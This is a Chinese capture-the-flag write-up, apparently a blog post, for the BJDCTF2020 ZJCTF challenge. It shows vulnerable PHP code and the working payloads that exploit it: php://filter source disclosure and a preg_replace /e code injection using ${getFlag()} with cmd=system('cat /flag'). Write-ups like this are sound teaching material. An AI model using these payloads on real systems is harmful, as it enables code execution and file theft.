[BJDCTF2020]ZJCTF,不过如此(preg_replace的/e漏洞,PHP的特性)

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

这道题起初看着代码量小,天真的我还觉得简单,可不知道的小知识点还真的挺多的。

index.php中的代码做过类似的,轻车熟路直接传payload:
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

在这里插入图片描述


拿到next.php的源码;

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

正片才刚刚开始。。。


首先没看懂foreach($_GET as $re => $str)

百度到了一段代码秒懂:

$row=array('one'=>1,'two'=>2);

foreach($row as $key=>$val){
echo $key.'--'.$val;
#one--1
#two--2

而题目是foreach($_GET as $re => $str),假设用GET方法传一个index.php?hello=world那么$re=hello,$str=world


在这里插入图片描述
然后是preg_replace函数的/e漏洞,可是这里是strtolower("\\1"),怎么才能让他变成我们要执行的代码呢?

\1表示取出正则匹配后的第一个子匹配中的第一项,strtolower()的作用是把大写字母转换为小写字母。

所以我们构造$re=(\S*),这样正则就变成了preg_replace('/(\S*)/ei','strtolower("\\1")',$str);\1就会匹配(\S*),也就是$str

我们本地测试一下效果:

<?php
$str = phpinfo();
echo preg_replace('/(\S*)/ei','strtolower("\\1")',$str);

在这里插入图片描述
sucess!这样思路就很清晰了,我们传payload:

next.php?(\S*)=${getFlag()}&cmd=system('cat /flag');

这样$re = (\\S*)$str = getFlag() ,而函数getFlag() 的参数cmd = system('cat /flag');

即执行了
echo preg_replace('/(\S*)/ei','strtolower("\\1")',@eval(system('cat /flag');));
echo @eval(system('cat /flag');)


最后我还有个疑问,为啥是${getFlag()},而不是getFlag()

举个栗子,有双引号:

在这里插入图片描述
在这里插入图片描述

无双引号;
在这里插入图片描述
在这里插入图片描述

在php中,双引号里面如果包含有变量,php解释器会进行解析;单引号中的变量不会被处理。

而题目中\1就是被双引号包围起来的,再引入PHP中的可变变量,$$a = ${$a},这样${getFlag()}中的getFlag()才会被解析为函数,否则就输出getFlag()字符串了。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值